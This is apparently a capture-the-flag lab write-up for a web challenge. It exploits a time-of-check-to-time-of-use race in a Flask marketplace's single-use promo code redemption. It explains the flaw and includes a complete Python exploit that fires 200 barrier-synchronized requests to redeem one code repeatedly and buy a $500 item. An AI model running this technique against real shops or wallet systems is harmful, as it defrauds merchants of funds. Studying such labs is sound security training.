Lab 272 — SwiftMart — Race Condition in Promo Code Redemption
Lab 272 — SwiftMart — Race Condition in Promo Code Redemption
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-06 | Status: Solved Techniques: concurrent_http_flooding, race_condition_exploitation, session_cookie_sharing, thread_barrier_synchronization, toctou_promo_bypass
Summary
Task: Digital marketplace with wallet system where each user gets a single-use $50 promo code, but premium vault items cost $500+. Solution: TOCTOU race condition on promo code redemption endpoint — fire 200 concurrent requests using threading.Barrier to redeem the same code multiple times before it's marked as used, inflating wallet balance to purchase the vault item containing the flag.
Lab 272 — SwiftMart — Race Condition in Promo Code Redemption
Description
SwiftMart is a digital marketplace where users can buy and sell digital goods. Each new user receives a $50 welcome promo code to get started. The platform has a wallet system for managing funds, a catalog of digital products, and a premium vault with exclusive high-value items. Your goal is to obtain the flag hidden in one of the premium vault items. You start with limited funds — find a way to get more.
Credentials: user@test.com / password123
English summary: A Flask-based digital marketplace with a wallet system. Each new user gets a unique single-use $50 promo code (WELCOME-XXXXXXXX), but the flag is locked behind a premium vault item costing $500. The promo code redemption endpoint has a TOCTOU race condition that allows redeeming the same code multiple times concurrently.
Analysis
Reconnaissance
After logging in with the provided credentials, the application reveals a Flask-based marketplace with the following structure:
/marketplace— product catalog/wallet— wallet with balance display and promo code redemption form/promotions— shows user's assigned promo code and usage info ("Each code can be used only once — single-use only")/vault— Premium Vault with 3 expensive items/orders— purchase history/api/wallet/redeem— POST endpoint for redeeming promo codes (acceptscodeas form data, returns JSON)/api/vault/purchase— POST endpoint for buying vault items (acceptsproduct_idas form data)
Session management uses Flask signed cookies (eyJ1c2VyX2lkIjoiLi4uIn0... format).
Premium Vault Items
| Product ID | Name | Price |
|---|---|---|
vault03 | AI Training Dataset Bundle | $750 |
vault02 | Exclusive Data Package | $500 |
vault01 | Enterprise SaaS Starter | $250 |
The flag is in vault02 (Exclusive Data Package, $500). The vault01 item ($250) is a decoy — it returns fake content about a GitHub repo.
Decoy Flags
Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments and hidden divs, designed to trick AI agents and automated scanners. These are fake.
Vulnerability: TOCTOU Race Condition
The POST /api/wallet/redeem endpoint has a classic Time-of-Check to Time-of-Use (TOCTOU) race condition in its promo code redemption logic:
- Check: Server queries the database to verify if the promo code has already been redeemed
- Apply: $50 credit is added to the user's wallet balance
- Update: The promo code is marked as redeemed in the database
Between steps 1 and 3, there is a window where multiple concurrent requests can all pass the "already redeemed" check before any of them marks the code as used. This is a non-atomic check-then-update pattern — the check and the state mutation are not wrapped in a single database transaction with proper locking.
Solution
Step 1: Register a Fresh Account
Register a new user to get a fresh, unused promo code:
python read-only • copy allowedsession = requests.Session() session.verify = False username = f"race_{random_string()}" email = f"{username}@test.com" resp = session.post(f"{BASE_URL}/register", data={ "username": username, "email": email, "password": "password123", "confirm_password": "password123" }, allow_redirects=False) session.get(f"{BASE_URL}/") # Extract promo code from /promotions page promo_resp = session.get(f"{BASE_URL}/promotions") match = re.search(r'WELCOME-[A-F0-9]+', promo_resp.text) promo_code = match.group(0) # e.g. WELCOME-2CA339EC
Step 2: Race Condition Attack
Fire 200 concurrent requests using threading.Barrier to synchronize all threads to release at the exact same instant, maximizing the TOCTOU window:
python read-only • copy allowedNUM_THREADS = 200 cookies = dict(session.cookies) barrier = threading.Barrier(NUM_THREADS, timeout=30) results = [] lock = threading.Lock() def attack_thread(idx): s = requests.Session() s.verify = False s.cookies.update(cookies) try: barrier.wait() # All threads release simultaneously resp = s.post( f"{BASE_URL}/api/wallet/redeem", data={"code": promo_code}, timeout=30 ) data = resp.json() with lock: results.append(data) if data.get("success"): print(f" [+] Thread {idx}: Balance ${data.get('new_balance', 0):.2f}") except: pass threads = [threading.Thread(target=attack_thread, args=(i,)) for i in range(NUM_THREADS)] for t in threads: t.start() for t in threads: t.join(timeout=45)
Result: 12 out of 200 threads passed the usage check and successfully redeemed the code, resulting in a balance of $600 (12 × $50) instead of the intended $50.
The race condition is probabilistic — sometimes only 6-8 threads succeed ($300-$400), sometimes 10-12 ($500-$600). Multiple attempts with fresh accounts may be needed to reach the $500 threshold.
Step 3: Purchase the Flag
With $600 in the wallet, purchase the "Exclusive Data Package" (vault02, $500):
python read-only • copy allowedresp = session.post(f"{BASE_URL}/api/vault/purchase", data={"product_id": "vault02"}) data = resp.json() # Response: # { # "content": "FLAG{REDACTED}", # "message": "Purchase successful!...", # "order_id": "d56dcd55", # "success": true # }
Full Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 """SwiftMart Race Condition Exploit — TOCTOU promo code redemption""" import requests import threading import re import random import string import urllib3 import time urllib3.disable_warnings() BASE_URL = "https://198f4e15-9468-4539-8449-d1e5f152ff1e.labs.hackadvisor.io" def random_string(length=8): return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) def register_and_get_promo(): session = requests.Session() session.verify = False username = f"race_{random_string()}" email = f"{username}@test.com" resp = session.post(f"{BASE_URL}/register", data={ "username": username, "email": email, "password": "password123", "confirm_password": "password123" }, allow_redirects=False) session.get(f"{BASE_URL}/") promo_resp = session.get(f"{BASE_URL}/promotions") match = re.search(r'WELCOME-[A-F0-9]+', promo_resp.text) promo_code = match.group(0) if match else None print(f"[*] Registered: {username} | Promo: {promo_code}") return session, promo_code def race_attack(session, promo_code, num_threads=200): cookies = dict(session.cookies) barrier = threading.Barrier(num_threads, timeout=30) results = [] lock = threading.Lock() def attack_thread(idx): s = requests.Session() s.verify = False s.cookies.update(cookies) try: barrier.wait() resp = s.post(f"{BASE_URL}/api/wallet/redeem", data={"code": promo_code}, timeout=30) data = resp.json() with lock: results.append(data) if data.get("success"): print(f" [+] Thread {idx}: Balance ${data.get('new_balance', 0):.2f}") except: pass threads = [threading.Thread(target=attack_thread, args=(i,)) for i in range(num_threads)] for t in threads: t.start() for t in threads: t.join(timeout=45) successes = [r for r in results if r.get("success")] max_bal = max([r.get("new_balance", 0) for r in results if r.get("success")], default=0) print(f"[*] Result: {len(successes)} successful | Balance: ${max_bal:.2f}") return max_bal def check_balance(session): resp = session.get(f"{BASE_URL}/wallet") match = re.search(r'balanceDisplay">\$([0-9.]+)', resp.text) return float(match.group(1)) if match else 0.0 def buy_vault_item(session, product_id): resp = session.post(f"{BASE_URL}/api/vault/purchase", data={"product_id": product_id}) return resp.json() def main(): for attempt in range(5): print(f"\n--- Attempt {attempt + 1} ---") session, promo_code = register_and_get_promo() if not promo_code: continue race_attack(session, promo_code, 200) balance = check_balance(session) print(f"[*] Actual balance: ${balance:.2f}") if balance >= 500: result = buy_vault_item(session, "vault02") if result.get("success"): print(f"\nFLAG: {result.get('content')}") return time.sleep(1) print("[-] Could not get enough balance in 5 attempts") if __name__ == "__main__": main()